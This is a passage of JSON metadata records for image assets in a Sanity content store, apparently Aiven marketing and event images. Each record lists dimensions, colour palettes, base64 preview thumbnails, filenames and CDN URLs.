IXIV8lFw95LJsCUve4Mrj","url":"https://cdn.sanity.io/images/sczeoy4w/production/627dd8085e6a55f46645c72808e4b18721bb0baf-112x82.png"} {"_createdAt":"2024-01-10T23:23:40Z","_id":"image-41ecbc9789dcc9567a291f964aea5b904e0dd078-1200x628-png","_rev":"M251ymJOiXhN3h8v2PFANG","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T23:23:40Z","assetId":"41ecbc9789dcc9567a291f964aea5b904e0dd078","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M87BNs?PMwM_RQ_4xuM_WXWEMxMxaexvob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACYUlEQVQokTWSa1NSURSGzy9oMuDAOYdzuB9AsvJCWmrqWJIIguB90umilZWiZpKC4CXRBm81XX7u0+ytfXhn7f1hPfO+ay3FZc4Qe7BMV2+J9p4S97s36Hi8TbK/Qs9gnYcDB/Q9PWEofc7A80sG0z8Zzvyif+SC1q59DHsXLVJBC3/FE9xC0fxzJHvXGM3tkcrWGE7XeJY5JJVrkJ5oMjLeZKz4g/zsH0YLv0nlRf3LcOaKtu4jzFgdIyrANfRIFUULzJPsWyOdrzE+ecT4VINM8YT0xCnZqXOyk5ekC1c8SZ1xr6dBvOuYeOch9oMq/tYqZuwQM34sZbWeonh8c3Q8+sRIpkq2eERu+oTs5CmZ4ndy0xdkpy4ZSjdJJPfx2iLaLu7gFi5/SVY9sicdmrFjrEQTRbVmb4AVUuN1RrIHjOaPpcOxQpNU7oyHA98IJCrokR05K3dgHdX/CXdgA09oGy28g2HXMeMNlBZtEsteJHb/LXbbOyJtH4i3r5Po3CLRVaa1c4fg3TJ6+AtauIwWKqP6S7h8q7iDmxImpEcqeKOHKLfUAi2eIg59Gocxj8NYwOF9hctaRvWt4Pavot7IHdiUmxRA1b8m3Rl2XS5EjEKP7KLcUScw9QKB4Dw++zUe/yvuGC9xeJdwWu9x+T7itFZwmu/k+z9MxBXOvNGDa2CofH02TneekFkgHl0gkljGCL2RDh3mEi5rRc7K5fsggQIsYGqgJJt1uyqBIq74e4KbKLfdBZxaAdU7g2q9wGkuSqDTXMblEwARdVVChcRCRKMW3saI1vBG6zdH/VnqH34QZD4QSh0xAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262750","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":13.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":13.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#999ec7","foreground":"#000","population":0.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c80c6","foreground":"#fff","population":0.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7197","foreground":"#fff","population":1.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b84449","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General social media image template Dark blue (1).png","path":"images/sczeoy4w/production/41ecbc9789dcc9567a291f964aea5b904e0dd078-1200x628.png","sha1hash":"41ecbc9789dcc9567a291f964aea5b904e0dd078","size":177642,"uploadId":"lI0OvoBew2EiZJC0rtySxOyOzrz9mCVQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/41ecbc9789dcc9567a291f964aea5b904e0dd078-1200x628.png"} {"_createdAt":"2024-01-04T16:09:30Z","_id":"image-d091f4b5de59a5d39a7d04a81b713d5295abc035-1899x555-png","_rev":"cYm7NAkc6EQoa8jfA8MkqP","_type":"sanity.imageAsset","_updatedAt":"2024-01-04T16:09:30Z","assetId":"d091f4b5de59a5d39a7d04a81b713d5295abc035","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.4216216216216218,"height":555,"width":1899},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQYlQHmARn+AFNTUv1FSVL+XmqM/42d0P6su+P+qbbN/nB7hv89RU3xKjRQ3QscWuwAFWP9ARdq/wEXZv4BFE//DBc181NJVtymjJrptZyv/bebqv++m6H+AEdKTv5KT1v+bXSQ/5yiyP6ytM/+oKKw/m9yev9JTVPxKjNI3ggYQ+wAE0v9ARhX/wEZX/4BF1j/CxlE9EFCW91+fZ3qjpK8/ZKRtv+fjaD+ACAtQf4sOlL+Tlp3/3qAnf6OjaH+eXeE/lJVX/80PErxGStG3gkeQuwRIED9HCtP/xcqWP4NIU//EiNK9D5JbN1sd6PqfIq+/YCItf+Df5n+AAcaP/8KIUX/GTFV/jRHaf9HVHL+Qkth/i87T/8cL0vxDCpV3hQvWuw8QVT9XFpo/1NYbf4yPVX/Jzlb9EVRd91eXIXqY16J/Whdff9iVmj+AAMUMv4DGDX+ByNE/xArTP4YLkz+GixF/h0uR/8eM1PxECtU3RYtVOw/QlX9ZV5q/2Rgb/4+RV3/Kjxh80BHbN1DPGTqOTJZ/Ug6T/9ZQ0f+AAANG/sBECD+BBw0/wUfOf4FGjD+Bhs0/hUoQf8oOVHvGChA2ggXMesUHTb9KCxB/zEzRP4cJ0n/FSZQ8jU4Wto3MlnoKCZL/U0+TP+EY1f+DlXhBP8AIpIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34305b","foreground":"#fff","population":0.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d2c81","foreground":"#fff","population":6.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d2c81","foreground":"#fff","population":6.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8aeb7","foreground":"#000","population":6.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acc0ee","foreground":"#000","population":2.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b6a71","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3669c4","foreground":"#fff","population":4.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-live-london-postevent-2.png","path":"images/sczeoy4w/production/d091f4b5de59a5d39a7d04a81b713d5295abc035-1899x555.png","sha1hash":"d091f4b5de59a5d39a7d04a81b713d5295abc035","size":1758207,"uploadId":"luJcLAUfmBXIuSkWSjHazGLuAkBnaeVq","url":"https://cdn.sanity.io/images/sczeoy4w/production/d091f4b5de59a5d39a7d04a81b713d5295abc035-1899x555.png"} {"_createdAt":"2024-01-25T16:29:52Z","_id":"image-940774fb060e8de7d9787ac480a2763011872d5e-1200x628-png","_rev":"ZLvKaZvfbZlWBlGcpCCITz","_type":"sanity.imageAsset","_updatedAt":"2024-01-25T16:29:52Z","assetId":"940774fb060e8de7d9787ac480a2763011872d5e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN=:.%U]-.d?~CpHZ~izixY+Zig$bEgM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACMUlEQVQokS3S30/TVxzG8a8x8UfUK9E4zXQD26C0ZWxCS0tL2xjlQi+MiUOnWaZjF2xRl7mpgNTWaktbKFCkaPzxl/b9Xsq3Fycn5+K88jzncwJ+PiJ/nJe/Y/IsLv/G5b8xeRGT5YSsjOlSRJajUhqV8qjUE9LJyM60tC5LIyIbMdn+0YC7x+RpTFbzUi5Kpb9npZqTWkEaRa2lpda/nJN2TjoF+XRD9gqyFpG356T+vTQuGjB/VJ6MyaucvM5LaUZKaalkpDIttZw2CtLMy0ZRtq9Kd06+3pLurFS/lfIpqX4j5SGD/cp/RWU5LatZWUnJqylZnZSVcalMan1G1rLSzMpGTnavycfrsjUp9RGpD0v9O3lzZpDw8aWwcmk2TFjJSnlaylNSz2uzKM3ZEFyfCcFuUbauSHtctiakHZO1kUHCPlgqyOsBWO6vtFRn9t+QVlHWC7KRl/as7M3J5xvSzcnmD7KZkM1xaUYNuHNYFkfkZVKWkvJiQp7H5GVcluOympB3UyHUH0g7I7tX5ctN+VCQ9cvSjEg7vj/poHfnkL1HZ+39OSKLF2RhSB4el9+Py8IxWTwhS+dlLSGNhNRGpRGXTkp2UtLqn6Nh7ffJAfjbaXsL5+w9OiUPjsq9QH4J5EEgDw/IPyelfklaMXl3UWoR2ZyQzmT4//rp3ielmzHo3T5gH2X+sNw9JPcOhuD9QH4dgI9PSDUirbhUh6UWle0rspuSzk8h3E3LXsb/AYhgFMqxwC6pAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#925506","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c37e","foreground":"#000","population":0.9,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Materialized Views in Aiven for Clickhouse.png","path":"images/sczeoy4w/production/940774fb060e8de7d9787ac480a2763011872d5e-1200x628.png","sha1hash":"940774fb060e8de7d9787ac480a2763011872d5e","size":194708,"uploadId":"s2o633PFbSnPtXad3xulHkOVdPwMl1dr","url":"https://cdn.sanity.io/images/sczeoy4w/production/940774fb060e8de7d9787ac480a2763011872d5e-1200x628.png"} {"_createdAt":"2024-08-08T13:54:45Z","_id":"image-377102d4da06b2b06cd0e48bfb196ce87cd76653-1672x711-png","_rev":"5y7swPKAcYPWMoG0mvFfH7","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T13:54:45Z","assetId":"377102d4da06b2b06cd0e48bfb196ce87cd76653","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37K_y00.T4TyD,^%gD%kVMxMb-;9EtRIT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.351617440225035,"height":711,"width":1672},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAACToAAAk6AGCYwUcAAACKUlEQVQokTXPaU/TAACA4f0EBS9gbGxsbbd1Xbuu7WAwGCEyTg8WMfEgushIYMAOEWUcG/cO5pWYaKIxflATjIkxxvjdT/6o12DiH3jyvrYzbbc4236Xlo57tNrTCHKOybFDxseOiMS2UawtvGoJSdsgmWwwfe0lfcNNwv0NZKuGJ3SAoFXxm00EvYntvGOWS640be45LnZl8CkFJkcPuDJRJZbYIRwr49M3kSPbJC/XuDrxlN5EHS1WR7aqiOEqRuIVQ1PvMYfeYLN7H9AtL+CRszilLB45j2quY/aXifRXkM0txPAmvkgZ1dpBs/YIGPv4IoeI+hGy1WQ09Zk7878Yn/mCzSFmEJQsYmiZbnkFt5zHGSjiVtbwaiXcyjrdoRJSpIwYrhAw99DjNdS+On6zRrDnGSPXP3Ez/ZPR1Ak2pzSPpC7h03J4gjnccgGHlKdDyGEXi9iFIl2BxwjaaWkZteeA3uFjjIFj5GgdOdpkYOIdU7dPGJz6cApmEEJL+MJ5hFABr/KQLn8Bh7iCU8rjEIu4/oPaNkFzFyNeI9xXJ2DV0eLPSWW+srD7m+nMN2zt7jQOcR6XbxGXfxlPsIhHWcUbWkVU1xBCTxC0jX/Lkl5Bie5jDNbR48cEexrogy+YyX4nW/tDavEHtpaOO7TaZznXeZ8Lzjk6xSW86iP8RomgtYVslfGbFSSjgs/YRek9Qh84Ros3kaMN/GYda+Q1iRsfsZJv+QvkazBF2/UB9AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414a8a","foreground":"#fff","population":2.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c90","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887","foreground":"#fff","population":9.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#223b76","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#809bda","foreground":"#000","population":1.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6770a9","foreground":"#fff","population":3.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887","foreground":"#fff","population":9.94,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-driven recommendations.PNG","path":"images/sczeoy4w/production/377102d4da06b2b06cd0e48bfb196ce87cd76653-1672x711.png","sha1hash":"377102d4da06b2b06cd0e48bfb196ce87cd76653","size":227528,"uploadId":"RsX90YY5LWIwQ5QA0LwwHppd8d4fCgdn","url":"https://cdn.sanity.io/images/sczeoy4w/production/377102d4da06b2b06cd0e48bfb196ce87cd76653-1672x711.png"} {"_createdAt":"2024-01-26T15:06:25Z","_id":"image-1d03e970f53d9e52baa8649a003b293b4244879a-4000x2661-png","_rev":"ZLvKaZvfbZlWBlGcpEIbKz","_type":"sanity.imageAsset","_updatedAt":"2024-01-26T15:06:25Z","assetId":"1d03e970f53d9e52baa8649a003b293b4244879a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VRKT#p$~aw4n%g?wt6M_D*of-=NKIAr;kWxBt7E2Rkof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5031942878617062,"height":2661,"width":4000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVQokQEZA+b8AI14WH9uUIFwU5KCZrapk9jRxPHv6/j49vT08Pj49u3l4bWflWpUYV9PaJyOir2skq2Tepx9arSoms7QyAClknSjknenl36xoovEuaXb1Mjx7+z5+ff19fL4+Pbs6uiuo6RaT1tRSFeZjYW9rZaxmYKmi3m9sabP0skAt6WIva6Vw7ahx7ypyb6szcS23dfQ5eLd5OHc5ODb2dTSp56fWU9TQzw+ioF3vK+cu6qYva6hz8nA0tXMALqoisCvlsK0oMW5p7ytmKiSfKKOe6iXh6yYiKqSgaWKd4tuXU87MC8pJm9sZbOsobixpMTAtdnX0NXX0ACxn4C6qI67qZO6qpa0n4adeluJZkiGZEmJY0aAWDxuRipeOB87JxohISFPUE2MiYKNiX6inpLOy8PZ2dQAoIxtsJ2DtqWOsZ6GtJp0sIpcpXpUnnNToHdYiGhPUTglRCcUPi0iKCkpNDMvSkQ7RT8zZ15Osamc2tnTAJV/X6WSdbGfhrejgcepbMedWriKW7OIZLqWd6KIbmNNOE40H0w5KjcyKzQrITAlGSkeEkw8KZmKd9HMwwCNdlSTfl6gim26oXLTrFzMmky9jVy5km26mXiui2GSbDd/WidwVS9cSDBZQShQOCNGLhpZPyaTfWXCuKkAnopuh3JXemRImX9OyJxBwYcvqXpJrIxvspNutIdCv4wrwpMws4o2mHI3hl00fFEtdkomgVcyo4Rjv66YALOnkop4YWBMNXdgObKOQKqDOYRyVoyJhJ+VgqeMU7eXQMalR8ulSrqQTaBwQphiNppkNKV1SLqaesu8qQCsk3aQcFB3UzGJZz+fglWDfGNreX98kKCJmaOBjIZ9gm+QimuwnHKzkGehbkafakCmc0eyiF/CqY/LwLIAso5mpHNFm2IwpW49oHhUgnFld3N0hYeMiY+YeYCMb3F2iX10r5eDrIVmmGI+m2hFpndTtY5swKmSwLKkAMWjebeEU6lpNKxtN7B7S6V3VJ53X5+Dc5qCeYtxaohmVqJ5XLuVda2BYJFbN5NfPaR1UriQb8WslcW2ptX8nncC3sB+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c5636","foreground":"#fff","population":1.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#651906","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8b6b51","foreground":"#fff","population":6.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5bda6","foreground":"#000","population":2.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebcc9a","foreground":"#000","population":1.51,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b6b51","foreground":"#fff","population":6.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd9c19","foreground":"#000","population":1.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image (4).png","path":"images/sczeoy4w/production/1d03e970f53d9e52baa8649a003b293b4244879a-4000x2661.png","sha1hash":"1d03e970f53d9e52baa8649a003b293b4244879a","size":18504734,"uploadId":"JGMBPOe3sBOVxmTRsIOQuhARlZ5X7wgu","url":"https://cdn.sanity.io/images/sczeoy4w/production/1d03e970f53d9e52baa8649a003b293b4244879a-4000x2661.png"} {"_createdAt":"2024-01-18T09:40:07Z","_id":"image-acecf9b5889dfc1433baa3117fbf926258f4f64d-1200x628-png","_rev":"ZLvKaZvfbZlWBlGcot2gqy","_type":"sanity.imageAsset","_updatedAt":"2024-01-18T09:40:07Z","assetId":"acecf9b5889dfc1433baa3117fbf926258f4f64d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8BV_B00^A^W0AXr-MO]VCO[Dh%NacaQov","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACn0lEQVQokXXPy0/SAQDAcf6AshT5gbwCITBQIYhUUhEsneajEMeMSM1HYYEJhBDIo8xn1mz5WK2tWdlaK9fWWpdWx9Y6dKpL81R/x7fp2traOnyvn+0rKpH1oNIFMFaPYLJdotIeocoRo+JwFK1pApUhiqx8pzgyXQr9oSSBhiAv+ix8HLVxNzJLNPWVMxc/c9SziahU6eeQdZR6T5yG40mc7iRNrTma26dxtU5ztLGAvjqFyjiJ0pCmwjzJgDvAk4CDtyEX66l1crPbhBLfcXe9RiSo+7DVhmnrztLWncfVkqG5vUBX7yKdviVOdCzibJ7F0ThDde0MJusUpz0XmQt6uTMSpJB4Tn7hJ+OZH7T63iISK/xUWEapa4rhdCew1kax1MRxerLUN1+nzn2D+uNzNLQscqRxAaM1ywl3hPzQMIULV4hGt8jM//oLFgk+dtAyzVnk5f3INIPINMMoD46hNoyjNsbQmifRVaXRVeUw2TP4vDFuJ+IsJ3Okk1tMzWxzefIbnp3lPaVedpP4KJL62V8WoFg+gFg5TKkqhHAgjKCZQKqNU25Oc7LrJtczS2yurbC5vMJ6ep21+AbJ8xs0uh8g2ivxsk/ooVjWS4m8jxJFkBLFIKWqESTqEFJNBKl2gjJdAnttltjYHBsrq7x59ZJ3m8/4kArz6YyH++29tNXkEBULXtTyHnS6ABrjeWTaQcTKnYZ3QeEPKNcnaHBNkRrLc29mnqePn7P16BnvI+f40mngobuJDkcSkVg4jV7lxVwRxFA5ikI/9B/wKo6aa/i7r9EfyBOeWCMxvkrhVIhbTZ2EnYM47dOIiiRexFIvgsKPRHUWsfLc7vK/YJnuKuWmJGZrGrO9wGHnAo66RY7ZC7hsWRy2WYyWZX4DYXqJShr8kGYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4570","foreground":"#fff","population":1.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3a9aa","foreground":"#000","population":5.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#818ae9","foreground":"#fff","population":6.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6685e","foreground":"#fff","population":0.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8c09","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-KafkaPython-Tibs 1200x628.png","path":"images/sczeoy4w/production/acecf9b5889dfc1433baa3117fbf926258f4f64d-1200x628.png","sha1hash":"acecf9b5889dfc1433baa3117fbf926258f4f64d","size":291369,"uploadId":"XqeRqT4nKiPLn1XmZpmT4OVjkW6yD8qe","url":"https://cdn.sanity.io/images/sczeoy4w/production/acecf9b5889dfc1433baa3117fbf926258f4f64d-1200x628.png"} {"_createdAt":"2024-01-26T15:08:51Z","_id":"image-176dbb4fd8c4371f27d34da08bf4f5bd597e2126-4000x2661-png","_rev":"VeNKqGNmt13PzvGhqp863M","_type":"sanity.imageAsset","_updatedAt":"2024-01-26T15:08:51Z","assetId":"176dbb4fd8c4371f27d34da08bf4f5bd597e2126","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGI53p00^%xG4T~9bb9axZRP?bD%kXR-Rkxts+t7t7a#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5031942878617062,"height":2661,"width":4000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADGElEQVQokQXB608aBwAA8PtzljQx+9A0aepKlUdB4O7g7njLgYDQAzyQE6jIU54HCAf0oL5OsdhidSzWOoa0XVdix6jptqaZtn5oapf9G/v9gIWAwesSJoNiNo3Vszo2b6vn7dWkkQkjtRC8k9GdcOToMP1Xr3p++vjL+emXy/f/nP1yesR0txYAkoTnHDy/c/w+wVvySPJJW6MabJSpB0lTI4I2l7EOYzpedfY4atStf/189u/VxacPv476a687OcBlv+M037Bqxmya6343XMhS62v5zVWazc3XIua1hGmbtm3Rtkdl18kBc/5n/9OHk9Er7tV+ov8kCDj0YxbsmgH8jjTzV7LBAh1NxbyZGBnymimHmr6Pr2atjayVY6NHnY3BceX1nu+Axbdy8E5uCnBrrznVY4T6+/i8enO9ViymlyhLcE4/rZVqUFEqoNqvIHsVZWstevjj9vFO4LAibmYm6rGJjeQPwKLxRooYz5C8csK001xlakwkTHnIWVSlwNSKeBBvM9BBWdCqezvt9c4m1SoIOJq3W777EysG6DnZdhLaK8Hth8Ruq5Ep0PfchHEGhxEYQmCr1RDywmm/sEqTj5oPuAa5kpikY7fY7MRGYRIoRnCO1u0xqmZ1tlLNegJ+VIuqtUqVClQiUiUKKRApblSEw/4VplBlFtiSuZTTFlJYMYUCHkKx4JItuiUBj9rhdiA6zRQk0OpBownT6SGFUiIS82UwaHEQgUiM26wN+q033a2jNvO0SQPTWsnMtHRuFg36Zu2EXY5AIjkfxMRKjRxGp2SgSA7LYAxVGfCleKLfO7y6GH07f/vx9+eD7i5g1oFOCxahrOVcOJWOzzgscgwUQncFoGhSyhdIhToTTnh8rnmKqdWGg97VxfC/z8PLs97w5AmAa2VOqyrks63QsRJT9FKkWo8IIfHtKeEt4R2emG/ApwM+Kh6Nchvrpy+ffRx2L9+/uPjj53f9NqDDJDYT5nFb4vFQvlQIL/rsZpVEIR6XCG7yebdFfFyDLt+zssvR/SY36B687bXfvdz/+7fO2Yv2/0LGfeQTH/6tAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4f27","foreground":"#fff","population":3.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#615217","foreground":"#fff","population":2.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b1955e","foreground":"#000","population":7.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbd2c4","foreground":"#000","population":6.72,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6ba7c","foreground":"#000","population":6.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b1955e","foreground":"#000","population":7.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b58d1f","foreground":"#fff","population":0.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image (1).png","path":"images/sczeoy4w/production/176dbb4fd8c4371f27d34da08bf4f5bd597e2126-4000x2661.png","sha1hash":"176dbb4fd8c4371f27d34da08bf4f5bd597e2126","size":19635874,"uploadId":"vNMytJSuNkUJKl9MboFuT5kKzdNwf1vN","url":"https://cdn.sanity.io/images/sczeoy4w/production/176dbb4fd8c4371f27d34da08bf4f5bd597e2126-4000x2661.png"} {"_createdAt":"2024-04-29T08:18:01Z","_id":"image-f048b111cad1493eb0551c581a585d586ab5fa83-690x413-png","_rev":"TveqPI7F4qA0WH6AaHbK2F","_type":"sanity.imageAsset","_updatedAt":"2024-04-29T08:18:01Z","assetId":"f048b111cad1493eb0551c581a585d586ab5fa83","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8A*WWof1cR*5,}EayJRbHNv0}ay]-oL=d","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+ElEQVQokYVSTWuTQRDeN41IrAUDNsWioG2p2e3um30zY4NpSFPNjF/QIqKh9Bd5qkfxJIg3r54FwZ36S/wPXpTdvB+Ihy48zDw7s8/M7o4KjCowLEElGJSk/SWiX3Gp8qo4NTzmKKHyQGkbgaXoci/68WAj0ORALZwEY1KdzJgJY5aCCZVYLJhsijdFsG6gumHTMkEnEKwHgluBYDMQ3AkEG4HgRoQwdgNBLzD2hHFVGK8GhpvCuBEYO1WXS3WCtjDeFcaHgWAWCE4CwSIQPI9cGJ8EgrkwHgrjODBYYdDC+FQYKTXBkDqv3ulKINj5QTAVxvkF46ufjIsLxpfCeBwI3gjjaSB4JoxHwhiLPBKGM4nFGW7Xgu8mXn2YFq3zie+dT3z+fur951lhPs2K/sfDwnw5Gu5+J9gSxt1AsC2M94Rxu0RfGLeEYa3+5f6eVntWtx440zvIjZ/kBka5sehMPsqNGedm/TXYld/Ho+zbPD1NWxhWhDGiVSKrBQtn1NCZbGB111m946w2A6udt9p7q+/nVnc3dT97ezBQv17sl+NVTQHUo1X9eCWowJk2ONMBZ1aHzlwfOrMGzlzbd6a9AKv+LMbq6+Phf6Pyz8wSKuWtUYU1pdWqcDrxaH3kZTwWjvzS5aNAgkl+Eql4LBT3SrFoL1t/AQKp/bPOa+O6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59282a","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c140a","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d6403a","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7e1e1a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e89491","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae515c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6403a","foreground":"#fff","population":0.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"oracle-cloud-690x413.png","path":"images/sczeoy4w/production/f048b111cad1493eb0551c581a585d586ab5fa83-690x413.png","sha1hash":"f048b111cad1493eb0551c581a585d586ab5fa83","size":20663,"uploadId":"g1BRaJzJUQQ2VFmIIwy9jchjjFdVyEn2","url":"https://cdn.sanity.io/images/sczeoy4w/production/f048b111cad1493eb0551c581a585d586ab5fa83-690x413.png"} 